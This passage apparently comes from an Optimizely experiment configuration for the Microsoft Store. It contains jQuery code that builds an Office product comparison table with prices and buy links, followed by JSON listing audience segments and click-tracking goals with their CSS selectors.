a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/Office-for-Mac-Home-amp-Business-2011/productID.253736100?icid=Compare_MacHB_V2\"});\n$(\".exp-buybox > td:eq(0) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(1) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(2) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(3) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(4) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n$(\".exp-buybox > td:eq(5) > a:eq(1)\").replaceWith(\"
    Buy now
    \");\n\n//Sticky Nav\nvar eTop = jQuery('.exp-comparetable .exp-buybox').offset().top;\n\njQuery(window).bind('scroll.scrolldirection',function(event){\n\t(function() {\n\t\tif(eTop - jQuery(window).scrollTop() < 10){\n\t\t\tjQuery('.office-compare .exp-comparetable, .exp-sticky-wrapper').addClass('sticky');\n\t\t}\n\t\telse{\n\t\t\tjQuery('.office-compare .exp-comparetable, .exp-sticky-wrapper').removeClass('sticky');\n\t\t};\n\t})();\n});\n\n$('#body').prepend(['
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'

    Choose the version that\\'s right for you

    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office 365 Home

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n ' ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office 365 Personal

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n ' ',\n '
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office Home & Student 2013

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    $139.99
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office Home & Business 2013

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    $219.99
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office for Mac Home & Student 2011

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    $139.99
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'

    Office for Mac Home & Business 2011

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    $219.99
    ',\n\t\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    '].join('\\n'));\n\n\n/* Remove Price */\n$('.exp-comparetable .exp-price').remove();\n\n/* Update table to include version toggle */\n$('.office-compare .exp-comparetable .exp-buybox td:eq(0) .exp-product').after(['
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t' ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'
    '].join('\\n'));\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(1) .exp-product').after(['
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t' ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'
    '].join('\\n'));\t\t\t\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(2) .exp-product').after(['
    $139.99
    '].join('\\n'));\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(3) .exp-product').after(['
    $219.99
    '].join('\\n'));\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(4) .exp-product').after(['
    $139.99
    '].join('\\n'));\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(5) .exp-product').after(['
    $219.99
    '].join('\\n'));\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n/* Update buy links for product variations */\n$('.office-compare .exp-comparetable .exp-buybox td:eq(0) a:last').prop('href', '/store/msusa/en_US/buy/productID.288186100/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_Home_V3');\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(1) a:last').prop('href', '/store/msusa/en_US/buy/productID.297833300/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_Personal_V3');\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(2) a:last').prop('href', '/store/msusa/en_US/buy/productID.259281600/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_HS_V3');\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(3) a:last').prop('href', '/store/msusa/en_US/buy/productID.259325400/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_HB_V3');\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(4) a:last').prop('href', '/store/msusa/en_US/buy/productID.253846200/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_MacHS_V3');\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(5) a:last').prop('href', '/store/msusa/en_US/buy/productID.253845700/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_MacHB_V3');\n\n\njQuery('body').on('change.changevariation', '.exp-version-selector input', function(){\n\tvar _gParent = jQuery(this).closest('table'),\n\t\t_parent = jQuery(this).closest('td'),\n\t\tvariationIndex = (_parent.index() + 1),\n\t\tthisVal = jQuery(this).val(),\n\t\ttableTarget = jQuery('.exp-sticky-wrapper .exp-comparetable .exp-buybox');\n\n\t\t//Update current URL\n\t\tjQuery('a:last', _parent).prop('href', 'http://www.microsoftstore.com/store/msusa/en_US/buy/productID.' + thisVal + '/ThemeID.33363200/Currency.USD/mktp.US/');\n\t\t\n\t\tif(_gParent.hasClass('sticky-header')){\n\t\t\ttableTarget = $('.office-compare .exp-comparetable .exp-buybox');\n\t\t\tvariationIndex = (variationIndex -2);\n\t\t};\n\t\t\n\t\tjQuery('td:eq(' + variationIndex + ') input[value=' + thisVal + ']', tableTarget).prop('checked', true);\n\n\t\t//Update slave URL\n\t\tjQuery('td:eq(' + variationIndex + ') a:last', tableTarget).prop('href', 'http://www.microsoftstore.com/store/msusa/en_US/buy/productID.' + thisVal + '/ThemeID.33363200/Currency.USD/mktp.US/');\t\t\n});"}},"segments":{"283789152":{"api_name":"bk_campid_40031","is_api_only":true,"dimension_id":1595892560,"id":283789152},"381361249":{"api_name":"bk_campid_42822","is_api_only":true,"dimension_id":1595782810,"id":381361249},"282345796":{"api_name":"bk_campid_39977","is_api_only":true,"dimension_id":1601132541,"id":282345796},"411980289":{"api_name":"bk_campid_43008","is_api_only":true,"dimension_id":1599302563,"id":411980289},"283852042":{"api_name":"bk_campid_40032","is_api_only":true,"dimension_id":1599282612,"id":283852042},"245078893":{"audience_id":1595892559,"api_name":"tech_trend_setters_1","id":245078893},"2130980600":{"id":2130980600},"2098371093":{"audience_id":2092602473,"id":2098371093},"321747162":{"api_name":"bk_campid_47898","is_api_only":true,"dimension_id":749103220,"id":321747162},"223040836":{"segment_value_type":"source_type","api_name":"optimizely_source_type","id":223040836},"244338170":{"segment_value_type":"campaign","api_name":"optimizely_campaign","id":244338170},"2104854076":{"audience_id":2132860974,"id":2104854076},"223033821":{"segment_value_type":"mobile","api_name":"optimizely_mobile","id":223033821},"223082014":{"segment_value_type":"browser","api_name":"optimizely_browser","id":223082014}},"click_goals":[{"event_name":"hero_clicks","experiments":{"223026983":true},"selector":".link > img"},{"event_name":"Office Home and Student clicks","experiments":{"229154884":true,"228387460":true,"242000437":true},"selector":"a.ohs"},{"event_name":"Product clicks","experiments":{"229154884":true,"228387460":true},"selector":"a.product-control"},{"event_name":"compare_suites_tab","experiments":{"228540088":true},"selector":".slider-tabs .grid-row > div:eq(1) > a:eq(0)"},{"event_name":"0365 clicks","experiments":{"229154884":true,"228387460":true},"selector":"a.o365"},{"event_name":"3up_-_1st_up_clicks","experiments":{"234772042":true},"selector":".column-3 > div:eq(0) > a:eq(0)"},{"event_name":"3_up_clicks","experiments":{"233508777":true},"selector":".column-3 > div:eq(1) > a:eq(0) > img:eq(0)"},{"event_name":"windows_pdp_atc_clicks","experiments":{"238766736":true,"315875468":true},"selector":".button"},{"event_name":"office_category_hero_banner_clicks","experiments":{"239540016":true},"selector":".category-hero > .grid-container"},{"event_name":"office_home_&_student_nav_clicks","experiments":{"239540016":true},"selector":".overlay > .grid-row > div:eq(0) > div:eq(0) > ul:eq(0) > li:eq(1)"},{"event_name":"home_premium_clicks","experiments":{"239540016":true,"242000437":true},"selector":".office-suites > div:eq(0)"},{"event_name":"professional_clicks","experiments":{"239540016":true,"242000437":true},"selector":".office-suites > div:eq(3)"},{"event_name":"home_&_student_clicks","experiments":{"239540016":true,"2374960305":true,"242000437":true},"selector":".office-suites > div:eq(1)"},{"event_name":"office_home_premium_nav_clicks","experiments":{"239540016":true},"selector":".overlay > .grid-row > div:eq(0) > div:eq(0) > ul:eq(0) > li:eq(0) > a:eq(0)"},{"event_name":"surface_pro_clicks","experiments":{"243190016":true},"selector":".product-row > div:eq(2) > a:eq(0)"},{"event_name":"surface_rt_clicks","experiments":{"243190016":true},"selector":".product-row > div:eq(1)"},{"event_name":"spanish","experiments":{"279663352":true,"245895465":true,"6706030939471872":true},"selector":".buy-box > p:eq(1)"},{"event_name":"top_navigation_clicks","experiments":{"246237977":true,"5668098405302272":true,"278907997":true,"252792446":true,"280930103":true},"selector":".top-level-menubar"},{"event_name":"homepage_hero_banner_clicks","experiments":{"322030177":true,"258322695":true},"selector":".link > img"},{"event_name":"computer_category_hero_banner","experiments":{"265126066":true},"selector":".category-offer > a > img:eq(0)"},{"event_name":"storage_link_clicks","experiments":{"253470078":true},"selector":".gray-text-color > a"},{"event_name":"fourth_slot_nav_click","experiments":{"266913424":true},"selector":".slider-tabs .grid-row > div:eq(3) > a:eq(0)"},{"event_name":"pre-order_notification_link","experiments":{"272849237":true},"selector":".green,.gray-text-color > a"},{"event_name":"Homepage: Hero clicks","experiments":{"318114561":true,"315948305":true,"306373523":true,"313174420":true,"335150235":true,"327667228":true,"301939615":true,"340892320":true,"288870179":true,"296068517":true,"337431964":true,"313088557":true,"326503599":true,"315849522":true,"338702007":true,"322460226":true,"304784712":true,"317653450":true,"356490610":true,"326644563":true,"379620439":true,"315320284":true,"350590180":true,"333636581":true,"315998184":true,"338687081":true,"336252010":true,"319304818":true,"340879515":true,"327838584":true,"297839993":true,"313115515":true},"selector":"ul.hero a,.top > img,.right,.large > img"},{"event_name":"Cart: Checkout clicks","experiments":{"4634169854394368":true,"322030177":true,"4551500323880960":true,"296006023":true,"293152936":true,"296475210":true,"312969639":true,"292283311":true,"288644208":true,"299216050":true,"299376883":true,"292249621":true,"287425527":true,"295905691":true},"selector":"div#dr_checkoutButton a"},{"event_name":"\"on_sale\"_clicks","experiments":{"298223438":true},"selector":".top-level-menubar > li:eq(3) > a:eq(0)"},{"event_name":"surface_sub-category_clicks","experiments":{"299376883":true,"296006023":true},"selector":".overlay > .grid-row > div:eq(0) > div:eq(0)"},{"event_name":"our_top_categories_&_other_ways_to_shop","url_conditions":{"values":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/home"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/DisplayHomePage"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/ContinueShopping"}]},"selector":".top-categories,.whatsnew"},{"event_name":"other_ways_to_shop","experiments":{"297839993":true},"selector":".top-categories .column-4 > div:eq(1),.top-categories .colspan-3"},{"event_name":"checkout_next_(click)","url_conditions":{"values":[{"match":"substring","value":"id=ThreePgCheckoutShoppingCartPage"}]},"selector":"#dr_checkoutButton"},{"event_name":"our_categories","experiments":{"297839993":true},"selector":".top-categories .column-4 > div:eq(0)"},{"event_name":"footer_clicks","experiments":{"292249621":true},"selector":".row-padded-top"},{"event_name":"buy_pc_with_complete","experiments":{"293152936":true},"selector":".grid-container > .button"},{"event_name":"office_cat_page_-_banner_clicks","experiments":{"301527616":true,"339302323":true},"selector":".category-offer > img"},{"event_name":"office_category_-_audience_links","experiments":{"301527616":true,"537040123":true,"341594074":true,"339302323":true,"402082999":true},"selector":".overlay > div:eq(0)"},{"event_name":"below_banner_clicks","experiments":{"340892320":true,"322460226":true,"340879515":true,"350590180":true,"333636581":true,"338687081":true,"336252010":true,"338702007":true,"356490610":true,"326503599":true,"319304818":true,"326644563":true,"391120414":true,"379620439":true,"327838584":true,"382240698":true,"335150235":true,"337431964":true,"327667228":true},"selector":".whatsnew"},{"event_name":"hero_1_banner_clicks","experiments":{"325840888":true,"352540249":true,"337792364":true},"selector":".large > img"},{"event_name":"compare_table_clicks","experiments":{"315082532":true},"selector":"#body > .grid-container > section:eq(0) > div:eq(0) > div:eq(1) > a:eq(0),.product-row > div:eq(2) > a:eq(0) > h3:eq(0),.product-row > div:eq(2) > a:eq(0) > img:eq(0),.product-row > div:eq(2) > a:eq(0) > p:eq(0),.product-row > div:eq(1) > a:eq(0) > h3:eq(0),.product-row > div:eq(1) > a:eq(0) > p:eq(0)"},{"event_name":"computer_sub-cat_link_clicks","experiments":{"408730488":true,"385311169":true,"400093050":true,"341740515":true,"339596301":true},"selector":".overlay > .grid-row > div:eq(1) > div:eq(0) > ul:eq(0) > li:eq(0),.overlay > .grid-row > div:eq(1) > div:eq(0) > ul:eq(0) > li:eq(1),.overlay > .grid-row > div:eq(1) > div:eq(0) > ul:eq(0) > li:eq(2),.overlay > .grid-row > div:eq(0) > div:eq(0) > ul:eq(0) > li:eq(2),.overlay > .grid-row > div:eq(0) > div:eq(0) > ul:eq(0) > li:eq(1),.overlay > .grid-row > div:eq(0) > div:eq(0) > ul:eq(0) > li:eq(0),.exp-ul-list"},{"event_name":"what's_new_computer_clicks","experiments":{"408730488":true,"385311169":true,"400093050":true,"341740515":true,"339596301":true},"selector":".column-3 > div:eq(0) > a:eq(0) > img:eq(0),.column-3 > div:eq(1) > a:eq(0) > img:eq(0),.column-3 > div:eq(2) > a:eq(0) > img:eq(0),.column-3 > div:eq(0) > a:eq(0) > p:eq(0),.column-3 > div:eq(1) > a:eq(0) > p:eq(0),.column-3 > div:eq(2) > a:eq(0) > p:eq(0)"},{"event_name":"triple_hero_spot_2_clicks","experiments":{"341932746":true},"selector":".top > img"},{"event_name":"spotlight_3","experiments":{"356490610":true,"350590180":true,"382240698":true,"391120414":true,"379620439":true},"selector":".top-categories .column-4 > div:eq(1) > div:eq(0) > div:eq(2) > a:eq(0)"},{"event_name":"spotlight_1","experiments":{"356490610":true,"350590180":true,"382240698":true,"391120414":true,"379620439":true},"selector":".top-categories .column-4 > div:eq(1) > div:eq(0) > div:eq(0) > a:eq(0)"},{"event_name":"spotlight_4","experiments":{"356490610":true,"350590180":true,"382240698":true,"391120414":true,"379620439":true},"selector":".top-categories .column-4 > div:eq(2) > div:eq(0) > div:eq(0) > a:eq(0)"},{"event_name":"spotlight_5","experiments":{"356490610":true,"350590180":true,"382240698":true,"391120414":true,"379620439":true},"selector":".top-categories .column-4 > div:eq(2) > div:eq(0) > div:eq(1) > a:eq(0)"},{"event_name":"spotlight_6","experiments":{"356490610":true,"350590180":true,"382240698":true,"391120414":true,"379620439":true},"selector":".top-categories .column-4 > div:eq(2) > div:eq(0) > div:eq(2) > a:eq(0)"},{"event_name":"spotlight_2","experiments":{"356490610":true,"350590180":true,"382240698":true,"391120414":true,"379620439":true},"selector":".top-categories .column-4 > div:eq(1) > div:eq(0) > div:eq(1) > a:eq(0)"},{"event_name":"narrow_banner_clicks","experiments":{"339624160":true,"339852186":true,"338742283":true},"selector":".exp_click"},{"event_name":"cta_list_page_clicks","experiments":{"368680136":true,"392080459":true,"328164499":true,"383531645":true},"selector":".sort1 .grid-row > div:eq(0) > a:eq(0),.sort1 .grid-row > div:eq(1) > a:eq(0),.sort1 .grid-row > div:eq(2) > a:eq(0),.sort1 .grid-row > div:eq(3) > a:eq(0),.sort2 .grid-row > div:eq(0) > a:eq(0),.sort2 .grid-row > div:eq(1) > a:eq(0),.sort2 .grid-row > div:eq(2) > a:eq(0),.sort2 .grid-row > div:eq(3) > a:eq(0),.sort4 .grid-row > div:eq(0) > a:eq(0),.sort4 .grid-row > div:eq(1) > a:eq(0),.sort4 .grid-row > div:eq(2) > a:eq(0),.sort4 .grid-row > div:eq(3) > a:eq(0),.sort5 .grid-row > div:eq(0) > a:eq(0),.sort5 .grid-row > div:eq(1) > a:eq(0),.sort5 .grid-row > div:eq(2) > a:eq(0),.sort5 .grid-row > div:eq(3) > a:eq(0),.sort6 .grid-row > div:eq(0) > a:eq(0),.sort6 .grid-row > div:eq(1) > a:eq(0),.sort6 .grid-row > div:eq(2) > a:eq(0),.sort6 .grid-row > div:eq(3) > a:eq(0),.sort7 .grid-row > div:eq(0) > a:eq(0),.sort7 .grid-row > div:eq(1) > a:eq(0),.sort7 .grid-row > div:eq(2) > a:eq(0)"},{"event_name":"see_our_office_category","experiments":{"357920835":true},"selector":".category-link > a, .grid-container > .heading--large > a:eq(0)"},{"event_name":"surface_category_page_-_module_clicks","experiments":{"382401545":true},"selector":"#models .grid-row"},{"event_name":"hero_spot_2_clicks","experiments":{"382240698":true,"391120414":true},"selector":".top > img"},{"event_name":"hero_spot_3_clicks","experiments":{"382240698":true,"391120414":true},"selector":".bottom > img"},{"event_name":"hero_spot_1_clicks","experiments":{"382240698":true,"393180075":true,"391120414":true},"selector":".large > img"},{"event_name":"surface_category_page_-_black_bar_clicks","experiments":{"382401545":true},"selector":".show > .table"},{"event_name":"pc_pdp_student_link_clicks","experiments":{"400780659":true,"384630685":true},"selector":".student-validate-text"},{"event_name":"student_surface_hero_banner_clicks","experiments":{"401710411":true},"selector":"div.big-container"},{"event_name":"modules_and_category/accessories_clicks","experiments":{"443140076":true,"409820732":true},"selector":"#models .grid-row"},{"event_name":"video_clicks","experiments":{"440690414":true},"selector":".product-thumbnails > li:eq(1) > a:eq(0) > img:eq(0)"},{"event_name":"sizing_chart_clicks","experiments":{"435620225":true},"selector":".exp-sizingchart"},{"event_name":"see_our_category_link_clicks","experiments":{"526192740":true,"422800020":true},"selector":".category-link"},{"event_name":"xbox_category_link_clicks","experiments":{"444360035":true,"442640548":true,"506430830":true,"517030227":true,"403131670":true,"506360732":true,"401491999":true},"selector":".exp-cat-featured > div:eq(0)"},{"event_name":"xbox_new_3_up_clicks","experiments":{"444360035":true,"442640548":true,"506430830":true,"517030227":true,"403131670":true,"506360732":true,"401491999":true},"selector":".column-3"},{"event_name":"xbox_takeover_banner_clicks","experiments":{"429631948":true,"399693613":true,"487480590":true,"451910419":true,"481160377":true,"499231193":true},"selector":".exp-fullwidth-hero"},{"event_name":"office_2010_clicks_on_banner","experiments":{"863499832":true,"752321627":true,"1292412500":true,"527470365":true,"655960045":true},"selector":".category-offer > img"},{"event_name":"countdown_banner_clicks","experiments":{"536240288":true,"555111265":true,"540191490":true,"555030148":true,"552440433":true,"536584723":true,"1061310704":true,"548140499":true,"750840816":true,"536661937":true,"549870995":true,"549830645":true,"540801252":true,"542910042":true,"541431423":true,"537170672":true,"554320608":true},"selector":".exp-wrapper img"},{"event_name":"nav_links","experiments":{"536781193":true,"594575858":true,"592991713":true},"selector":".nav-arrow-links > a,.findbuttons > a"},{"event_name":"see_all_apps_(bottom)_clicks","experiments":{"802291562":true,"579931087":true},"selector":"a.heading--small"},{"event_name":"office.com_clicks","experiments":{"587600105":true},"selector":".exp-morethan > a"},{"event_name":"see_all_apps_(top)_clicks","experiments":{"802291562":true,"579931087":true},"selector":".exp-seeall"},{"event_name":"phone_app_clicks","experiments":{"802291562":true,"579931087":true},"selector":"#productListContainer"},{"event_name":"continue_shopping_clicks","experiments":{"589341056":true},"selector":".header-help,.box"},{"event_name":"asus_clicks","experiments":{"588070626":true},"selector":"#optimizely_100036974"},{"event_name":"yearly_clicks","experiments":{"655330418":true,"918512652":true,"620400053":true},"selector":".active > a, #exp-variation option:eq(0)"},{"event_name":"monthly_clicks","experiments":{"655330418":true,"918512652":true,"620400053":true},"selector":".option-list > li:eq(1) > a:eq(0), #exp-variation option:eq(1)"},{"event_name":"surface_cat_module_clicks","experiments":{"569720699":true},"selector":"#models .grid-row"},{"event_name":"return_to_top_clicks","experiments":{"590531267":true},"selector":".nav-arrow-links .grid-row"},{"event_name":"32_gb","experiments":{"1777030593":true,"804213522":true,"1005259255":true,"621361735":true},"selector":".active > a"},{"event_name":"titianfall_countdown_clicks","experiments":{"630282145":true,"721612454":true,"656480873":true,"645950510":true,"653044304":true,"659792406":true,"704150714":true},"selector":".exp-wrapper img"},{"event_name":"64_gb","experiments":{"1777030593":true,"804213522":true,"1005259255":true,"621361735":true},"selector":".option-list > li:eq(1) > a:eq(0)"},{"event_name":"suite_clicks","experiments":{"597620767":true},"selector":".product-descriptions"},{"event_name":"ksr_home_page_video_clicks","experiments":{"716436437":true,"789188975":true},"selector":".exp-hero > .elp-gallery-item"},{"event_name":"banner_clicks","experiments":{"716436437":true,"789188975":true},"selector":".hero-image"},{"event_name":"ksr_cateory_video_clicks","experiments":{"787501728":true,"766102139":true,"696275132":true},"selector":".exp-hero > .elp-gallery-item"},{"event_name":"add_to_cart_clicks_swNET","experiments":{"701202453":true},"selector":"#button a"},{"event_name":"promo_code_box_clicks","experiments":{"697191653":true},"selector":".promo-code"},{"event_name":"ksr_home_page_pre_order_clicks","experiments":{"716436437":true,"789188975":true},"selector":".transparent-bg"},{"event_name":"responsive_menu","experiments":{"675580242":true},"selector":".toggle-menu"},{"event_name":"ksr_category_page_pre_order_clicks","experiments":{"787501728":true,"766102139":true,"696275132":true},"selector":".button"},{"event_name":"Add_to_cart_clicks_swNET","experiments":{"719870674":true},"selector":"#office-column1 #button a"},{"event_name":"cta_pdp_clicks","experiments":{"1378481088":true,"1097660674":true,"1298750090":true,"838710349":true,"778293844":true,"1892840885":true,"986518198":true,"828028441":true,"703722388":true,"1517000322":true,"1023216698":true},"selector":".exp-cta.buyBtn_AddtoCart, .buyBtn_AddtoCart.box"},{"event_name":"shopping_cart_global_nav_clicks","experiments":{"778710739":true},"selector":".slim-header"},{"event_name":"download_yearly_submit","experiments":{"827288249":true},"selector":"#downloadyearly"},{"event_name":"download_monthly_submit","experiments":{"827288249":true},"selector":"#downloadmonthly"},{"event_name":"return_to_top2","experiments":{"856350586":true},"selector":".exp-returnbutton"},{"event_name":"candy_rack_clicks_-_next_to","experiments":{"922541306":true},"selector":".candy-rack"},{"event_name":"cta_clicks","experiments":{"1790040369":true,"1454536099":true,"918512652":true},"selector":"#downloadyearly .buyBtn_AddtoCart"},{"event_name":"watch_dogs_takeover_clicks","experiments":{"1012466495":true},"selector":".elp-gallery-item"},{"event_name":"takeover_clicks","experiments":{"1043611706":true},"selector":".hero-image"},{"event_name":"Add to cart click","experiments":{"2212920966":true,"1684820106":true,"2206812045":true,"2434260494":true,"2339690644":true,"2223460016":true,"2152850209":true,"1454536099":true,"1526581796":true,"1678630565":true,"1790040369":true,"2104600747":true,"2212531120":true,"2185410609":true,"1677140658":true,"1683120053":true,"2202130164":true,"1678320304":true,"2219432458":true,"2175950526":true,"1674750656":true,"954862657":true,"2365284418":true,"1694200003":true,"1471772278":true,"2257840006":true,"2001500618":true,"2140160078":true,"2130590833":true,"1671620948":true,"2197801166":true,"1682580439":true,"1358613593":true,"1798190814":true,"2111510116":true,"1655756389":true,"1670520423":true,"1687540077":true,"2186750302":true,"1855780081":true,"1675590260":true,"2154620534":true,"2352131839":true},"selector":".buyBtn_AddtoCart"},{"event_name":"homepage_hero_1_clicks","experiments":{"1385394248":true,"1334231963":true},"selector":".large > img"},{"event_name":"skype_sticky_nav_clicks","experiments":{"1425380022":true},"selector":".category-nav-wrapper"},{"event_name":"quantity_selector_clicks","experiments":{"2365284418":true,"1526581796":true},"selector":".exp-quantity-wrapper"},{"event_name":"inventory_clicks","experiments":{"2223460016":true,"1358613593":true,"2152850209":true},"selector":".exp-checkavailability"},{"event_name":"office_cat_-_big_banner_clicks","experiments":{"1582670724":true},"selector":".full-page-splash"},{"event_name":"nav_clicks_(uk_mscom)","experiments":{"1609560460":true},"selector":"#ctl00_HeaderControlGrid"},{"event_name":"xbox_category_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true},"selector":".border-bottom > div:eq(3) > a:eq(0) > div:eq(0) > img:eq(0),.border-bottom > div:eq(3) > a:eq(0) > p:eq(0),.active .grid-container > div:eq(1) > div:eq(2) > div:eq(0) > h3:eq(0) > a:eq(0), .mscom-nav-container .devices .tab-xbox .exp-col-one li.header, .mscom-nav-container .entertainment .tab-xbox .exp-col-one li.header"},{"event_name":"Rewards sign-up click","experiments":{"2118260747":true,"2178480144":true,"1886861076":true,"2162220183":true,"1763340666":true,"2126090363":true,"1733681980":true,"1875150234":true},"selector":".rewards-signup input"},{"event_name":"home_page_hero_banner_clicks","experiments":{"1635735744":true},"selector":".large > img"},{"event_name":"additional_software_category_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true},"selector":".active .grid-container > div:eq(1) > div:eq(4) > div:eq(0) > h3:eq(0) > a:eq(0)"},{"event_name":"accessories_cateogry_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true},"selector":".active .grid-container > div:eq(1) > div:eq(3) > div:eq(0) > h3:eq(0) > a:eq(0), .mscom-nav-container .tab-accessories .exp-col-one li.header"},{"event_name":"windows_phone_category_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true},"selector":".border-bottom > div:eq(2) > a:eq(0) > div:eq(0) > img:eq(0),.border-bottom > div:eq(2) > a:eq(0) > p:eq(0),.active .grid-container > div:eq(1) > div:eq(2) > div:eq(1) > h3:eq(0) > a:eq(0), .mscom-nav-container .tab-windowsphone .exp-col-one li.header"},{"event_name":"computuer_category_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true},"selector":".border-bottom > div:eq(1) > a:eq(0) > div:eq(0) > img:eq(0),.border-bottom > div:eq(1) > a:eq(0) > p:eq(0),.active .grid-container > div:eq(1) > div:eq(0) > div:eq(0) > h3:eq(0) > a:eq(0)"},{"event_name":"l3_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true,"1983080054":true},"selector":"header .drop-down-menu .list-of-links a, .mscom-nav-container .exp-col-right li a"},{"event_name":"windows_category_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true},"selector":".border-bottom > div:eq(4) > a:eq(0) > div:eq(0) > img:eq(0),.border-bottom > div:eq(4) > a:eq(0) > p:eq(0),.active .grid-container > div:eq(1) > div:eq(1) > div:eq(1) > h3:eq(0) > a:eq(0), .mscom-nav-container .tab-windows .exp-col-one li.header"},{"event_name":"xbox_one_clicks","experiments":{"1765471155":true},"selector":".active .grid-container > div:eq(1) > div:eq(2) > div:eq(0) > ul:eq(0) > li:eq(0)"},{"event_name":"twitter_module_clicks","experiments":{"1755030238":true},"selector":".slide-container, .slider > div:eq(0), 